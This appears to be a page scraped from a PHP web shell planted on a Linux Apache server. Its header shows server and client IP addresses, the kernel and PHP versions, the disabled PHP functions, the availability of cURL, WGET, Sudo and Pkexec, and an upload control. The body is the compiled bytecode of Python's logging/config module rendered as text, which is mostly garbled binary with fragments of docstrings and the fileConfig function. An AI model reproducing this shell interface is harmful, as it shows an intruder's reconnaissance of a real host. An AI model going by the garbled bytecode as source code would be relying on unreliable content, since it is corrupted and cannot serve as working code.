| Server IP : 43.141.49.107 / Your IP : 113.219.202.141 Web Server : Apache System : Linux VM-8-5-opencloudos 6.6.34-9.oc9.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jun 19 19:35:45 CST 2024 x86_64 User : www ( 1000) PHP Version : 8.1.27 Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /usr/lib64/python3.11/logging/__pycache__/ |
Upload File : |
�
��ek� � � � d Z ddlZddlZddlZddlZddlZddlZddlZddlZddl Z ddl
Z
ddlmZm
Z
dZej Zdadd�Zd� Zd� Zd � Zd
� Zd� Zd� Zd
� Z ej dej � � Zd� Z G d� de� � Z G d� de e� � Z! G d� de"e� � Z# G d� de$e� � Z% G d� de� � Z& G d� de&� � Z'e'Z(d� Z)edfd�Z*d� Z+dS ) a
Configuration functions for the logging package for Python. The core package
is based on PEP 282 and comments thereto in comp.lang.python, and influenced
by Apache's log4j system.
Copyright (C) 2001-2019 Vinay Sajip. All Rights Reserved.
To use, simply 'import logging' and log away!
� N)�ThreadingTCPServer�StreamRequestHandleriF# Tc �B � ddl }t | t � � rbt j � | � � st
| � d�� � �t j � | � � st | � d�� � �t | |j � � r| }n� |�
|� � }t | d� � r|� | � � n+t j |� � }|� | |�� � n&# |j $ r}t | � d|� �� � �d}~ww xY wt# |� � }t% j � � t) � � t+ ||� � }t- |||� � t% j � � dS # t% j � � w xY w)aD
Read the logging configuration from a ConfigParser-format file.
This can be called several times from an application, allowing an end user
the ability to select from various pre-canned configurations (if the
developer provides a mechanism to present the choices and load the chosen
configuration).
r Nz doesn't existz is an empty file�readline)�encodingz
is invalid: )�configparser�
isinstance�str�os�path�exists�FileNotFoundError�getsize�RuntimeError�RawConfigParser�ConfigParser�hasattr� read_file�io�
text_encoding�read�ParsingError�_create_formatters�logging�_acquireLock�_clearExistingHandlers�_install_handlers�_install_loggers�_releaseLock) �fname�defaults�disable_existing_loggersr r �cp�e�
formatters�handlerss �'/usr/lib64/python3.11/logging/config.py�
fileConfigr( 4 s� � � �����%���� <��w�~�~�e�$�$� <�#�u�$<�$<�$<�=�=�=������'�'� <��%�:�:�:�;�;�;��%��5�6�6� ;�
��� ;��*�*�8�4�4�B��u�j�)�)�
2����U�#�#�#�#��+�H�5�5��������1�1�1����(� ;� ;� ;��%�9�9�a�9�9�:�:�:����� ;���� $�B�'�'�J� ������� � � � %�R��4�4����X�'?�@�@�@�����������������s% �A&C<